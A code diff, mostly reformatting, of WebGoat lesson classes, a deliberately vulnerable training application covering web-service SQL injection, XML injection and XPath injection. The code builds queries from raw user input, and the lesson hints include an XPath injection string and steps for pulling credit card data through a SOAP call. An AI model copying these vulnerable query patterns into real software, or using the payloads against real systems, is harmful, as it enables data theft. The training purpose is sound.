@ -82,43 +80,39 @@ public class WsSqlInjection extends LessonAdapter
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
public void setWebgoatContext(WebgoatContext webgoatContext)
{
WsSqlInjection.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
public WebgoatContext getWebgoatContext()
{
return WsSqlInjection.webgoatContext;
}
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the server side code will perform input validation before issuing "
hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints
.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
hints.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Create a new soap request for the getCreditCard(String id) operation.");
hints.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
@ -131,35 +125,33 @@ public class WsSqlInjection extends LessonAdapter
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
/* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" +
" &lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" +
" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" +
" &lt;SOAP-ENV:Body&gt; <br>" +
" &lt;ns1:getCreditCard SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" +
" &lt;id xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+
" &lt;/ns1:getCreditCard&gt; <br>" +
" &lt;/SOAP-ENV:Body&gt; <br>" +
" &lt;/SOAP-ENV:Envelope&gt; <br><br>" +
"Intercept the HTTP request and try to create a soap request."); */
/*
* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + " &lt;SOAP-ENV:Envelope
* xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "
* xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + "
* xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + "
* &lt;SOAP-ENV:Body&gt; <br>" + " &lt;ns1:getCreditCard
* SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"
* xmlns:ns1=\"http://lessons\"&gt; <br>" + " &lt;id
* xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+ " &lt;/ns1:getCreditCard&gt; <br>" + "
* &lt;/SOAP-ENV:Body&gt; <br>" + " &lt;/SOAP-ENV:Envelope&gt; <br><br>" + "Intercept the
* HTTP request and try to create a soap request.");
*/
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SQL Injection";
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -176,7 +168,6 @@ public class WsSqlInjection extends LessonAdapter
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -184,8 +175,7 @@ public class WsSqlInjection extends LessonAdapter
{
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE userid = "
+ accountNumber;
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
ec.addElement(new PRE(query));
for (int i = 0; i < accountNumber.length(); i++)
{
@ -202,32 +192,27 @@ public class WsSqlInjection extends LessonAdapter
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
if (results.getRow() >= 6)
{
//this should never happen
// this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new P().addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -235,7 +220,6 @@ public class WsSqlInjection extends LessonAdapter
return (ec);
}
public ResultSet getResults(String id)
{
try
@ -244,21 +228,19 @@ public class WsSqlInjection extends LessonAdapter
String query = "SELECT * FROM user_data WHERE userid = " + id;
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
return results;
} catch (SQLException sqle)
{
}
catch (SQLException sqle)
{}
} catch (Exception e)
{
}
catch (Exception e)
{}
return null;
}
public String[] getCreditCard(String id)
{
ResultSet results = getResults(id);
@ -279,14 +261,13 @@ public class WsSqlInjection extends LessonAdapter
users[i - 1] = results.getString(ccNumber);
}
return users;
} catch (SQLException sqle)
{
}
catch (SQLException sqle)
{}
}
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -60,8 +59,8 @@ public class XMLInjection extends LessonAdapter
public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>();
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
protected static HashMap<Integer, Reward> init()
{
@ -94,7 +93,6 @@ public class XMLInjection extends LessonAdapter
return rewardsMap;
}
public void handleRequest(WebSession s)
{
@ -102,34 +100,27 @@ public class XMLInjection extends LessonAdapter
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
if (s.getParser().getRawParameter(ACCOUNTID, "").equals(
"836239"))
if (s.getParser().getRawParameter(ACCOUNTID, "").equals("836239"))
{
String lineSep = System.getProperty("line.separator");
String xmlStr = "<root>" + lineSep
+ "<reward>WebGoat Mug 20 Pts</reward>"
+ lineSep
+ "<reward>WebGoat t-shirt 50 Pts</reward>"
+ lineSep + "<reward>WebGoat Secure Kettle 30 Pts</reward>"
+ lineSep + "</root>";
String xmlStr = "<root>" + lineSep + "<reward>WebGoat Mug 20 Pts</reward>" + lineSep
+ "<reward>WebGoat t-shirt 50 Pts</reward>" + lineSep
+ "<reward>WebGoat Secure Kettle 30 Pts</reward>" + lineSep + "</root>";
s.getResponse().setContentType("text/xml");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(xmlStr);
out.flush();
out.close();
return;
}
}
}
catch (Exception ex)
} catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s));
@ -137,7 +128,6 @@ public class XMLInjection extends LessonAdapter
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -149,38 +139,14 @@ public class XMLInjection extends LessonAdapter
isDone = true;
}
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function getRewards() {"
+ lineSep
+ "var accountIDField = document.getElementById('"
+ ACCOUNTID
+ "');"
+ lineSep
+ "if (accountIDField.value.length < 6 ) { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ ACCOUNTID
+ "=' + encodeURIComponent(accountIDField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
String script = "<script>" + lineSep + "function getRewards() {" + lineSep
+ "var accountIDField = document.getElementById('" + ACCOUNTID + "');" + lineSep
+ "if (accountIDField.value.length < 6 ) { return; }" + lineSep + "var url = '" + getLink()
+ "&from=ajax&" + ACCOUNTID + "=' + encodeURIComponent(accountIDField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}"
+ lineSep
+ "function callback() {"
+ lineSep
@ -199,34 +165,26 @@ public class XMLInjection extends LessonAdapter
+ " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';"
+ lineSep
+ " for(var i=0; i< rewards.length; i++){"
//+ lineSep
//+ " var node = rewards.childNodes[i+1];"
// + lineSep
// + " var node = rewards.childNodes[i+1];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table>' + strHTML + '</table>';"
+ lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;"
+ lineSep + " rewardsDiv.innerHTML = strHTML;"
+ lineSep + " }}}" + lineSep + "</script>" + lineSep;
+ lineSep + " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';" + lineSep
+ " }" + lineSep + " strHTML = '<table>' + strHTML + '</table>';" + lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;" + lineSep
+ " rewardsDiv.innerHTML = strHTML;" + lineSep + " }}}" + lineSep + "</script>"
+ lineSep;
if (!isDone)
{
ec.addElement(new StringElement(script));
}
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
ec.addElement(new BR());
ec.addElement(new BR().addElement(new H3()
.addElement("Rewards available through the program:")));
ec.addElement(new BR().addElement(new H3().addElement("Rewards available through the program:")));
ec.addElement(new BR());
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR trRewards = null;
for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
@ -245,8 +203,7 @@ public class XMLInjection extends LessonAdapter
ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
@ -288,13 +245,10 @@ public class XMLInjection extends LessonAdapter
if (s.getParser().getRawParameter("check" + i, "") != "")
{
shipment.append(((Reward) rewardsMap.get(i)).getName()
+ "<br>");
shipment.append(((Reward) rewardsMap.get(i)).getName() + "<br>");
}
}
shipment
.insert(0,
"<br><br><b>The following items will be shipped to your address:</b><br>");
shipment.insert(0, "<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString()));
}
@ -303,50 +257,42 @@ public class XMLInjection extends LessonAdapter
return ec;
}
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s
.setMessage("Congratulations. You have successfully completed this lesson.");
s.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply.");
hints
.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
hints.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints;
}
public String getTitle()
{
return "XML Injection";
@ -359,25 +305,21 @@ public class XMLInjection extends LessonAdapter
private int points;
public String getName()
{
return name;
}
public void setName(String name)
{
this.name = name;
}
public int getPoints()
{
return points;
}
public void setPoints(int points)
{
this.points = points;

View File

@ -1,6 +1,7 @@
/**
*
*/
package org.owasp.webgoat.lessons;
import java.io.File;
@ -11,12 +12,10 @@ import java.io.FileInputStream;
import org.xml.sax.InputSource;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathFactory;
import javax.xml.xpath.XPathExpressionException;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -32,36 +31,34 @@ import org.apache.ecs.html.BR;
import org.apache.ecs.html.B;
import org.apache.ecs.html.PRE;
import org.apache.ecs.HtmlColor;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ECSFactory;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -78,8 +75,8 @@ public class XPATHInjection extends LessonAdapter
private final static String PASSWORD = "Password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
@ -89,28 +86,21 @@ public class XPATHInjection extends LessonAdapter
try
{
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0)
.setBorder(0).setWidth("90%").setAlign("center");
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please confirm your username and password before viewing your profile.")
tr.addElement(new TH().addElement("Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth(
"30%").setColSpan(2).setAlign("left"));
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp").setWidth("30%")
.setColSpan(2).setAlign("left"));
tr.addElement(new TD().addElement("&nbsp").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
@ -134,36 +124,31 @@ public class XPATHInjection extends LessonAdapter
String username = s.getParser().getRawParameter(USERNAME, "");
if (username == null || username.length() == 0)
{
ec.addElement(new P().addElement(new StringElement(
"Username is a required field")));
ec.addElement(new P().addElement(new StringElement("Username is a required field")));
return ec;
}
String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0)
{
ec.addElement(new P().addElement(new StringElement(
"Password is a required field")));
ec.addElement(new P().addElement(new StringElement("Password is a required field")));
return ec;
}
String dir = s.getContext().getRealPath(
"/lessons/XPATHInjection/EmployeesData.xml");
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='"
+ username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource,
XPathConstants.NODESET);
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password
+ "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
int nodesLength = nodes.getLength();
Table t2 = null;
if (nodesLength > 0)
{
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
1).setWidth("90%").setAlign("center");
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("90%").setAlign("center");
tr = new TR();
tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username"));
@ -175,8 +160,7 @@ public class XPATHInjection extends LessonAdapter
for (int i = 0; i < nodesLength; i++)
{
Node node = nodes.item(i);
String[] arrTokens = node.getTextContent()
.split("[\\t\\s\\n]+");
String[] arrTokens = node.getTextContent().split("[\\t\\s\\n]+");
tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1]));
@ -195,18 +179,15 @@ public class XPATHInjection extends LessonAdapter
ec.addElement(t2);
}
}
catch (IOException e)
} catch (IOException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
catch (IllegalArgumentException e)
} catch (IllegalArgumentException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
catch (XPathExpressionException e)
} catch (XPathExpressionException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -214,48 +195,40 @@ public class XPATHInjection extends LessonAdapter
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
protected boolean getDefaultHidden()
{
// TODO Auto-generated method stub
return false;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
// TODO Auto-generated method stub
List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query.");
hints
.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints
.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
hints.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints;
}
public String getTitle()
{

View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -44,12 +44,13 @@ public abstract class AdminScreen extends Screen
*/
protected String query = null;
/**
* Constructor for the AdminScreen object
*
* @param s Description of the Parameter
* @param q Description of the Parameter
* @param s
* Description of the Parameter
* @param q
* Description of the Parameter
*/
public AdminScreen(WebSession s, String q)
{
@ -58,22 +59,22 @@ public abstract class AdminScreen extends Screen
// setupAdmin(s); FIXME: what was this supposed to do?
}
/**
* Constructor for the AdminScreen object
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
*/
public AdminScreen(WebSession s)
{}
{
}
/**
* Constructor for the AdminScreen object
*/
public AdminScreen()
{}
{
}
/**
* Gets the title attribute of the AdminScreen object
@ -85,17 +86,16 @@ public abstract class AdminScreen extends Screen
return ("Admin Information");
}
public String getRole()
{
return AbstractLesson.ADMIN_ROLE;
}
/**
* Sets the query attribute of the AdminScreen object
*
* @param q The new query value
* @param q
* The new query value
*/
public void setQuery(String q)
{

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
@ -12,32 +12,31 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -52,7 +51,8 @@ public class ProductsAdminScreen extends LessonAdapter
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -63,8 +63,7 @@ public class ProductsAdminScreen extends LessonAdapter
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY);
@ -72,11 +71,9 @@ public class ProductsAdminScreen extends LessonAdapter
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -85,7 +82,6 @@ public class ProductsAdminScreen extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the ProductsAdminScreen object
*
@ -96,7 +92,6 @@ public class ProductsAdminScreen extends LessonAdapter
return Category.ADMIN_FUNCTIONS;
}
/**
* Gets the role attribute of the ProductsAdminScreen object
*
@ -107,7 +102,6 @@ public class ProductsAdminScreen extends LessonAdapter
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the ProductsAdminScreen object
*
@ -120,7 +114,6 @@ public class ProductsAdminScreen extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import org.owasp.webgoat.lessons.*;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -12,32 +12,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
